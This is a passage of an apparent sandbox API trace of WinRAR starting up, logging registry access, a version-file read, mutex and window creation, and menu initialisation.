lpdwDisposition=0x18ab70 | out: phkResult=0x18ab78*=0x164, lpdwDisposition=0x18ab70*=0x2) returned 0x0 [0052.628] RegSetValueExW (in: hKey=0x164, lpValueName="PackDetails", Reserved=0x0, dwType=0x3, lpData=0x18b090*, cbData=0xc0 | out: lpData=0x18b090*) returned 0x0 [0052.629] RegCloseKey (hKey=0x164) returned 0x0 [0052.629] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18b764 | out: lpSystemTimeAsFileTime=0x18b764*(dwLowDateTime=0x3214e720, dwHighDateTime=0x1d4e94c)) [0052.629] GetLastError () returned 0x0 [0052.629] SetLastError (dwErrCode=0x0) [0052.629] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x9, phkResult=0x18aa00 | out: phkResult=0x18aa00*=0x164) returned 0x0 [0052.629] RegQueryValueExW (in: hKey=0x164, lpValueName="VerInfo", lpReserved=0x0, lpType=0x18ae64, lpData=0x18b740, lpcbData=0x18ae60*=0xc | out: lpType=0x18ae64*=0x3, lpData=0x18b740*, lpcbData=0x18ae60*=0xc) returned 0x0 [0052.629] RegCloseKey (hKey=0x164) returned 0x0 [0052.629] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Paths", ulOptions=0x0, samDesired=0x1, phkResult=0x18b6e0 | out: phkResult=0x18b6e0*=0x0) returned 0x2 [0052.629] SHGetMalloc (in: ppMalloc=0x18b680 | out: ppMalloc=0x18b680*=0x7fefe535380) returned 0x0 [0052.629] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=26, ppidl=0x18b6c8 | out: ppidl=0x18b6c8) returned 0x0 [0052.629] SHGetPathFromIDListW (in: pidl=0x202470, pszPath=0x18b770 | out: pszPath="C:\\Users\\WhuOXYsD\\AppData\\Roaming") returned 1 [0052.629] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\whuoxysd\\appdata\\roaming\\winrar")) returned 0x2010 [0052.629] IMalloc:Free (This=0x7fefe535380, pv=0x202470) [0052.629] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x58) returned 0x2014a0 [0052.629] CreateFileW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR\\version.dat" (normalized: "c:\\users\\whuoxysd\\appdata\\roaming\\winrar\\version.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18b558, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x164 [0052.629] GetFileType (hFile=0x164) returned 0x1 [0052.630] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x1000) returned 0x1eb6f0 [0052.630] ReadFile (in: hFile=0x164, lpBuffer=0x1eb6f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18b5b8, lpOverlapped=0x0 | out: lpBuffer=0x1eb6f0*, lpNumberOfBytesRead=0x18b5b8*=0xc, lpOverlapped=0x0) returned 1 [0052.630] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1eb6f0 | out: hHeap=0x1b0000) returned 1 [0052.630] CloseHandle (hObject=0x164) returned 1 [0052.630] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="WinRAR_Busy") returned 0x164 [0052.630] FindWindowW (lpClassName="WinRarWindow", lpWindowName=0x0) returned 0x201e6 [0052.630] CreateWindowExW (dwExStyle=0x10, lpClassName="WinRarWindow", lpWindowName="WinRAR", dwStyle=0x6cf0000, X=-2147483648, Y=-2147483648, nWidth=-2147483648, nHeight=-2147483648, hWndParent=0x0, hMenu=0x0, hInstance=0x13f160000, lpParam=0x0) returned 0x101f6 [0052.631] RegisterClipboardFormatW (lpszFormat="TaskbarCreated") returned 0xc075 [0052.631] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x24, wParam=0x0, lParam=0x18c210) returned 0x0 [0052.631] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x81, wParam=0x0, lParam=0x18c1c0) returned 0x1 [0052.631] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x83, wParam=0x0, lParam=0x18c230) returned 0x0 [0052.633] LoadMenuW (hInstance=0x13f160000, lpMenuName="MAIN_MENU") returned 0x1013b [0052.634] GetMenuItemInfoW (in: hmenu=0x1013b, item=0x0, fByPosition=1, lpmii=0x189880 | out: lpmii=0x189880) returned 1 [0052.634] SetMenuItemInfoW (hmenu=0x1013b, item=0x0, fByPositon=1, lpmii=0x189880) returned 1 [0052.634] GetMenuItemInfoW (in: hmenu=0x1013d, item=0x0, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.634] SetMenuItemInfoW (hmenu=0x1013d, item=0x0, fByPositon=1, lpmii=0x1885c0) returned 1 [0052.634] GetMenuItemInfoW (in: hmenu=0x1013d, item=0x1, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.635] SetMenuItemInfoW (hmenu=0x1013d, item=0x1, fByPositon=1, lpmii=0x1885c0) returned 1 [0052.635] GetMenuItemInfoW (in: hmenu=0x1013d, item=0x2, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.635] SetMenuItemInfoW (hmenu=0x1013d, item=0x2, fByPositon=1, lpmii=0x1885c0) returned 1 [0052.635] GetMenuItemInfoW (in: hmenu=0x1013f, item=0x0, fByPosition=1, lpmii=0x187300 | out: lpmii=0x187300) returned 1 [0052.635] GetMenuItemInfoW (in: hmenu=0x1013f, item=0x1, fByPosition=1, lpmii=0x187300 | out: lpmii=0x187300) returned 0 [0052.635] GetMenuItemInfoW (in: hmenu=0x1013d, item=0x3, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.635] SetMenuItemInfoW (hmenu=0x1013d, item=0x3, fByPositon=1, lpmii=0x1885c0) returned 1 [0052.635] GetMenuItemInfoW (in: hmenu=0x1013d, item=0x4, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.635] GetMenuItemInfoW (in: hmenu=0x1013d, item=0x5, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.635] SetMenuItemInfoW (hmenu=0x1013d, item=0x5, fByPositon=1, lpmii=0x1885c0) returned 1 [0052.635] GetMenuItemInfoW (in: hmenu=0x1013d, item=0x6, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.635] SetMenuItemInfoW (hmenu=0x1013d, item=0x6, fByPositon=1, lpmii=0x1885c0) returned 1 [0052.635] GetMenuItemInfoW (in: hmenu=0x1013d, item=0x7, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.635] SetMenuItemInfoW (hmenu=0x1013d, item=0x7, fByPositon=1, lpmii=0x1885c0) returned 1 [0052.635] GetMenuItemInfoW (in: hmenu=0x1013d, item=0x8, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.635] GetMenuItemInfoW (in: hmenu=0x1013d, item=0x9, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.635] SetMenuItemInfoW (hmenu=0x1013d, item=0x9, fByPositon=1, lpmii=0x1885c0) returned 1 [0052.635] GetMenuItemInfoW (in: hmenu=0x1013d, item=0xa, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.635] SetMenuItemInfoW (hmenu=0x1013d, item=0xa, fByPositon=1, lpmii=0x1885c0) returned 1 [0052.635] GetMenuItemInfoW (in: hmenu=0x1013d, item=0xb, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.635] SetMenuItemInfoW (hmenu=0x1013d, item=0xb, fByPositon=1, lpmii=0x1885c0) returned 1 [0052.635] GetMenuItemInfoW (in: hmenu=0x1013d, item=0xc, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.635] SetMenuItemInfoW (hmenu=0x1013d, item=0xc, fByPositon=1, lpmii=0x1885c0) returned 1 [0052.635] GetMenuItemInfoW (in: hmenu=0x1013d, item=0xd, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.635] GetMenuItemInfoW (in: hmenu=0x1013d, item=0xe, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.635] SetMenuItemInfoW (hmenu=0x1013d, item=0xe, fByPositon=1, lpmii=0x1885c0) returned 1 [0052.635] GetMenuItemInfoW (in: hmenu=0x1013d, item=0xf, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 0 [0052.635] GetMenuItemInfoW (in: hmenu=0x1013b, item=0x1, fByPosition=1, lpmii=0x189880 | out: lpmii=0x189880) returned 1 [0052.635] SetMenuItemInfoW (hmenu=0x1013b, item=0x1, fByPositon=1, lpmii=0x189880) returned 1 [0052.635] GetMenuItemInfoW (in: hmenu=0x10141, item=0x0, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.635] SetMenuItemInfoW (hmenu=0x10141, item=0x0, fByPositon=1, lpmii=0x1885c0) returned 1 [0052.635] GetMenuItemInfoW (in: hmenu=0x10141, item=0x1, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.635] SetMenuItemInfoW (hmenu=0x10141, item=0x1, fByPositon=1, lpmii=0x1885c0) returned 1 [0052.635] GetMenuItemInfoW (in: hmenu=0x10141, item=0x2, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.635] SetMenuItemInfoW (hmenu=0x10141, item=0x2, fByPositon=1, lpmii=0x1885c0) returned 1 [0052.635] GetMenuItemInfoW (in: hmenu=0x10141, item=0x3, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.635] GetMenuItemInfoW (in: hmenu=0x10141, item=0x4, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.635] SetMenuItemInfoW (hmenu=0x10141, item=0x4, fByPositon=1, lpmii=0x1885c0) returned 1 [0052.635] GetMenuItemInfoW (in: hmenu=0x10141, item=0x5, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.635] SetMenuItemInfoW (hmenu=0x10141, item=0x5, fByPositon=1, lpmii=0x1885c0) returned 1 [0052.635] GetMenuItemInfoW (in: hmenu=0x10141, item=0x6, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.635] SetMenuItemInfoW (hmenu=0x10141, item=0x6, fByPositon=1, lpmii=0x1885c0) returned 1 [0052.635] GetMenuItemInfoW (in: hmenu=0x10141, item=0x7, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.635] SetMenuItemInfoW (hmenu=0x10141, item=0x7, fByPositon=1, lpmii=0x1885c0) returned 1 [0052.635] GetMenuItemInfoW (in: hmenu=0x10141, item=0x8, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.635] GetMenuItemInfoW (in: hmenu=0x10141, item=0x9, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.636] SetMenuItemInfoW (hmenu=0x10141, item=0x9, fByPositon=1, lpmii=0x1885c0) returned 1 [0052.636] GetMenuItemInfoW (in: hmenu=0x10141, item=0xa, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.636] SetMenuItemInfoW (hmenu=0x10141, item=0xa, fByPositon=1, lpmii=0x1885c0) returned 1 [0052.636] GetMenuItemInfoW (in: hmenu=0x10141, item=0xb, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.636] SetMenuItemInfoW (hmenu=0x10141, item=0xb, fByPositon=1, lpmii=0x1885c0) returned 1 [0052.636] GetMenuItemInfoW (in: hmenu=0x10141, item=0xc, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.636] SetMenuItemInfoW (hmenu=0x10141, item=0xc, fByPositon=1, lpmii=0x1885c0) returned 1 [0052.636] GetMenuItemInfoW (in: hmenu=0x10141, item=0xd, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 0 [0052.636] GetMenuItemInfoW (in: hmenu=0x1013b, item=0x2, fByPosition=1, lpmii=0x189880 | out: lpmii=0x189880) returned 1 [0052.636] SetMenuItemInfoW (hmenu=0x1013b, item=0x2, fByPositon=1, lpmii=0x189880) returned 1 [0052.636] GetMenuItemInfoW (in: hmenu=0x10143, item=0x0, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.636] SetMenuItemInfoW (hmenu=0x10143, item=0x0, fByPositon=1, lpmii=0x1885c0) returned 1 [0052.636] GetMenuItemInfoW (in: hmenu=0x10143, item=0x1, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.636] GetMenuItemInfoW (in: hmenu=0x10143, item=0x2, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.636] SetMenuItemInfoW (hmenu=0x10143, item=0x2, fByPositon=1, lpmii=0x1885c0) returned 1 [0052.636] GetMenuItemInfoW (in: hmenu=0x10143, item=0x3, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.636] SetMenuItemInfoW (hmenu=0x10143, item=0x3, fByPositon=1, lpmii=0x1885c0) returned 1 [0052.636] GetMenuItemInfoW (in: hmenu=0x10143, item=0x4, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.636] SetMenuItemInfoW (hmenu=0x10143, item=0x4, fByPositon=1, lpmii=0x1885c0) returned 1 [0052.636] GetMenuItemInfoW (in: hmenu=0x10143, item=0x5, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.636] SetMenuItemInfoW (hmenu=0x10143, item=0x5, fByPositon=1, lpmii=0x1885c0) returned 1 [0052.636] GetMenuItemInfoW (in: hmenu=0x10143, item=0x6, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.636] GetMenuItemInfoW (in: hmenu=0x10143, item=0x7, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.636] SetMenuItemInfoW (hmenu=0x10143, item=0x7, fByPositon=1, lpmii=0x1885c0) returned 1 [0052.636] GetMenuItemInfoW (in: hmenu=0x10143, item=0x8, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.636] SetMenuItemInfoW (hmenu=0x10143, item=0x8, fByPositon=1, lpmii=0x1885c0) returned 1 [0052.636] GetMenuItemInfoW (in: hmenu=0x10143, item=0x9, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.636] SetMenuItemInfoW (hmenu=0x10143, item=0x9, fByPositon=1, lpmii=0x1885c0) returned 1 [0052.636] GetMenuItemInfoW (in: hmenu=0x10143, item=0xa, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.636] SetMenuItemInfoW (hmenu=0x10143, item=0xa, fByPositon=1, lpmii=0x1885c0) returned 1 [0052.636] GetMenuItemInfoW (in: hmenu=0x10143, item=0xb, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 0 [0052.636] GetMenuItemInfoW (in: hmenu=0x1013b, item=0x3, fByPosition=1, lpmii=0x189880 | out: lpmii=0x189880) returned 1 [0052.636] SetMenuItemInfoW (hmenu=0x1013b, item=0x3, fByPositon=1, lpmii=0x189880) returned 1 [0052.636] GetMenuItemInfoW (in: hmenu=0x10145, item=0x0, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.636] SetMenuItemInfoW (hmenu=0x10145, item=0x0, fByPositon=1, lpmii=0x1885c0) returned 1 [0052.636] GetMenuItemInfoW (in: hmenu=0x10145, item=0x1, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.636] SetMenuItemInfoW (hmenu=0x10145, item=0x1, fByPositon=1, lpmii=0x1885c0) returned 1 [0052.636] GetMenuItemInfoW (in: hmenu=0x10145, item=0x2, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.636] GetMenuItemInfoW (in: hmenu=0x10145, item=0x3, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 0 [0052.636] GetMenuItemInfoW (in: hmenu=0x1013b, item=0x4, fByPosition=1, lpmii=0x189880 | out: lpmii=0x189880) returned 1 [0052.636] SetMenuItemInfoW (hmenu=0x1013b, item=0x4, fByPositon=1, lpmii=0x189880) returned 1 [0052.636] GetMenuItemInfoW (in: hmenu=0x10147, item=0x0, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.636] SetMenuItemInfoW (hmenu=0x10147, item=0x0, fByPositon=1, lpmii=0x1885c0) returned 1 [0052.636] GetMenuItemInfoW (in: hmenu=0x10147, item=0x1, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.636] SetMenuItemInfoW (hmenu=0x10147, item=0x1, fByPositon=1, lpmii=0x1885c0) returned 1 [0052.636] GetMenuItemInfoW (in: hmenu=0x10149, item=0x0, fByPosition=1, lpmii=0x187300 | out: lpmii=0x187300) returned 1 [0052.636] SetMenuItemInfoW (hmenu=0x10149, item=0x0, fByPositon=1, lpmii=0x187300) returned 1 [0052.637] GetMenuItemInfoW (in: hmenu=0x10149, item=0x1, fByPosition=1, lpmii=0x187300 | out: lpmii=0x187300) returned 1 [0052.637] SetMenuItemInfoW (hmenu=0x10149, item=0x1, fByPositon=1, lpmii=0x187300) returned 1 [0052.637] GetMenuItemInfoW (in: hmenu=0x10149, item=0x2, fByPosition=1, lpmii=0x187300 | out: lpmii=0x187300) returned 1 [0052.637] GetMenuItemInfoW (in: hmenu=0x10149, item=0x3, fByPosition=1, lpmii=0x187300 | out: lpmii=0x187300) returned 1 [0052.637] SetMenuItemInfoW (hmenu=0x10149, item=0x3, fByPositon=1, lpmii=0x187300) returned 1 [0052.637] GetMenuItemInfoW (in: hmenu=0x10149, item=0x4, fByPosition=1, lpmii=0x187300 | out: lpmii=0x187300) returned 0 [0052.637] GetMenuItemInfoW (in: hmenu=0x10147, item=0x2, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.637] GetMenuItemInfoW (in: hmenu=0x10147, item=0x3, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.637] SetMenuItemInfoW (hmenu=0x10147, item=0x3, fByPositon=1, lpmii=0x1885c0) returned 1 [0052.637] GetMenuItemInfoW (in: hmenu=0x1014b, item=0x0, fByPosition=1, lpmii=0x187300 | out: lpmii=0x187300) returned 1 [0052.637] SetMenuItemInfoW (hmenu=0x1014b, item=0x0, fByPositon=1, lpmii=0x187300) returned 1 [0052.637] GetMenuItemInfoW (in: hmenu=0x1014b, item=0x1, fByPosition=1, lpmii=0x187300 | out: lpmii=0x187300) returned 1 [0052.637] GetMenuItemInfoW (in: hmenu=0x1014b, item=0x2, fByPosition=1, lpmii=0x187300 | out: lpmii=0x187300) returned 1 [0052.637] SetMenuItemInfoW (hmenu=0x1014b, item=0x2, fByPositon=1, lpmii=0x187300) returned 1 [0052.637] GetMenuItemInfoW (in: hmenu=0x1014b, item=0x3, fByPosition=1, lpmii=0x187300 | out: lpmii=0x187300) returned 1 [0052.637] SetMenuItemInfoW (hmenu=0x1014b, item=0x3, fByPositon=1, lpmii=0x187300) returned 1 [0052.637] GetMenuItemInfoW (in: hmenu=0x1014b, item=0x4, fByPosition=1, lpmii=0x187300 | out: lpmii=0x187300) returned 0 [0052.637] GetMenuItemInfoW (in: hmenu=0x10147, item=0x4, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.637] SetMenuItemInfoW (hmenu=0x10147, item=0x4, fByPositon=1, lpmii=0x1885c0) returned 1 [0052.637] GetMenuItemInfoW (in: hmenu=0x1014d, item=0x0, fByPosition=1, lpmii=0x187300 | out: lpmii=0x187300) returned 1 [0052.637] SetMenuItemInfoW (hmenu=0x1014d, item=0x0, fByPositon=1, lpmii=0x187300) returned 1 [0052.637] GetMenuItemInfoW (in: hmenu=0x1014d, item=0x1, fByPosition=1, lpmii=0x187300 | out: lpmii=0x187300) returned 1 [0052.637] SetMenuItemInfoW (hmenu=0x1014d, item=0x1, fByPositon=1, lpmii=0x187300) returned 1 [0052.637] GetMenuItemInfoW (in: hmenu=0x1014d, item=0x2, fByPosition=1, lpmii=0x187300 | out: lpmii=0x187300) returned 0 [0052.637] GetMenuItemInfoW (in: hmenu=0x10147, item=0x5, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.637] SetMenuItemInfoW (hmenu=0x10147, item=0x5, fByPositon=1, lpmii=0x1885c0) returned 1 [0052.637] GetMenuItemInfoW (in: hmenu=0x1014f, item=0x0, fByPosition=1, lpmii=0x187300 | out: lpmii=0x187300) returned 1 [0052.637] SetMenuItemInfoW (hmenu=0x1014f, item=0x0, fByPositon=1, lpmii=0x187300) returned 1 [0052.637] GetMenuItemInfoW (in: hmenu=0x1014f, item=0x1, fByPosition=1, lpmii=0x187300 | out: lpmii=0x187300) returned 1 [0052.637] SetMenuItemInfoW (hmenu=0x1014f, item=0x1, fByPositon=1, lpmii=0x187300) returned 1 [0052.637] GetMenuItemInfoW (in: hmenu=0x1014f, item=0x2, fByPosition=1, lpmii=0x187300 | out: lpmii=0x187300) returned 1 [0052.637] GetMenuItemInfoW (in: hmenu=0x1014f, item=0x3, fByPosition=1, lpmii=0x187300 | out: lpmii=0x187300) returned 1 [0052.637] SetMenuItemInfoW (hmenu=0x1014f, item=0x3, fByPositon=1, lpmii=0x187300) returned 1 [0052.637] GetMenuItemInfoW (in: hmenu=0x1014f, item=0x4, fByPosition=1, lpmii=0x187300 | out: lpmii=0x187300) returned 0 [0052.637] GetMenuItemInfoW (in: hmenu=0x10147, item=0x6, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.637] SetMenuItemInfoW (hmenu=0x10147, item=0x6, fByPositon=1, lpmii=0x1885c0) returned 1 [0052.637] GetMenuItemInfoW (in: hmenu=0x10151, item=0x0, fByPosition=1, lpmii=0x187300 | out: lpmii=0x187300) returned 1 [0052.637] GetMenuItemInfoW (in: hmenu=0x10151, item=0x1, fByPosition=1, lpmii=0x187300 | out: lpmii=0x187300) returned 0 [0052.637] GetMenuItemInfoW (in: hmenu=0x10147, item=0x7, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.637] GetMenuItemInfoW (in: hmenu=0x10147, item=0x8, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.637] SetMenuItemInfoW (hmenu=0x10147, item=0x8, fByPositon=1, lpmii=0x1885c0) returned 1 [0052.637] GetMenuItemInfoW (in: hmenu=0x10147, item=0x9, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.637] SetMenuItemInfoW (hmenu=0x10147, item=0x9, fByPositon=1, lpmii=0x1885c0) returned 1 [0052.637] GetMenuItemInfoW (in: hmenu=0x10147, item=0xa, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 0 [0052.637] GetMenuItemInfoW (in: hmenu=0x1013b, item=0x5, fByPosition=1, lpmii=0x189880 | out: lpmii=0x189880) returned 1 [0052.637] SetMenuItemInfoW (hmenu=0x1013b, item=0x5, fByPositon=1, lpmii=0x189880) returned 1 [0052.637] GetMenuItemInfoW (in: hmenu=0x10153, item=0x0, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.637] SetMenuItemInfoW (hmenu=0x10153, item=0x0, fByPositon=1, lpmii=0x1885c0) returned 1 [0052.638] GetMenuItemInfoW (in: hmenu=0x10153, item=0x1, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.638] GetMenuItemInfoW (in: hmenu=0x10153, item=0x2, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.638] SetMenuItemInfoW (hmenu=0x10153, item=0x2, fByPositon=1, lpmii=0x1885c0) returned 1 [0052.638] GetMenuItemInfoW (in: hmenu=0x10153, item=0x3, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.638] GetMenuItemInfoW (in: hmenu=0x10153, item=0x4, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 1 [0052.638] SetMenuItemInfoW (hmenu=0x10153, item=0x4, fByPositon=1, lpmii=0x1885c0) returned 1 [0052.638] GetMenuItemInfoW (in: hmenu=0x10153, item=0x5, fByPosition=1, lpmii=0x1885c0 | out: lpmii=0x1885c0) returned 0 [0052.638] GetMenuItemInfoW (in: hmenu=0x1013b, item=0x6, fByPosition=1, lpmii=0x189880 | out: lpmii=0x189880) returned 0 [0052.638] LoadStringW (in: hInstance=0x13f160000, uID=0x438, lpBuffer=0x13f2e0a30, cchBufferMax=512 | out: lpBuffer="site name") returned 0x9 [0052.638] LoadStringW (in: hInstance=0x13f160000, uID=0x43a, lpBuffer=0x13f2e0e30, cchBufferMax=512 | out: lpBuffer="site name 2") returned 0xb [0052.638] GetLastError () returned 0x5b0 [0052.638] SetLastError (dwErrCode=0x5b0) [0052.638] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x1, phkResult=0x189e80 | out: phkResult=0x189e80*=0x0) returned 0x2 [0052.638] GetLastError () returned 0x5b0 [0052.638] SetLastError (dwErrCode=0x5b0) [0052.638] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x9, phkResult=0x18a650 | out: phkResult=0x18a650*=0x0) returned 0x2 [0052.638] SetMenu (hWnd=0x101f6, hMenu=0x1013b) returned 1 [0052.638] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x46, wParam=0x0, lParam=0x18aac0) returned 0x0 [0052.638] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x83, wParam=0x1, lParam=0x18aa90) returned 0x0 [0052.638] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x93, wParam=0x0, lParam=0x189190) returned 0x1 [0052.639] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x94, wParam=0x0, lParam=0x189130) returned 0x0 [0052.647] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x94, wParam=0x0, lParam=0x189130) returned 0x0 [0052.647] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x94, wParam=0x0, lParam=0x189130) returned 0x0 [0052.647] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x94, wParam=0x0, lParam=0x189130) returned 0x0 [0052.647] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x94, wParam=0x0, lParam=0x189130) returned 0x0 [0052.647] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x94, wParam=0x0, lParam=0x189130) returned 0x0 [0052.648] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x47, wParam=0x0, lParam=0x18aac0) returned 0x0 [0052.648] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x3, wParam=0x0, lParam=0xc8009e) returned 0x0 [0052.648] IsIconic (hWnd=0x101f6) returned 0 [0052.648] IsIconic (hWnd=0x101f6) returned 0 [0052.648] IsIconic (hWnd=0x101f6) returned 0 [0052.648] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x93, wParam=0x0, lParam=0x18a2e0) returned 0x1 [0052.648] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0052.648] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0052.648] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0052.648] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x83, wParam=0x1, lParam=0x18a420) returned 0x0 [0052.649] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x93, wParam=0x0, lParam=0x188b20) returned 0x1 [0052.649] DrawMenuBar (hWnd=0x101f6) returned 1 [0052.649] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x46, wParam=0x0, lParam=0x18aac0) returned 0x0 [0052.649] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x83, wParam=0x1, lParam=0x18aa90) returned 0x0 [0052.649] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x93, wParam=0x0, lParam=0x189190) returned 0x1 [0052.649] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x47, wParam=0x0, lParam=0x18aac0) returned 0x0 [0052.649] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x93, wParam=0x0, lParam=0x18a2e0) returned 0x1 [0052.650] GetLastError () returned 0x0 [0052.650] SetLastError (dwErrCode=0x0) [0052.650] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x1, phkResult=0x189e80 | out: phkResult=0x189e80*=0x0) returned 0x2 [0052.650] GetLastError () returned 0x0 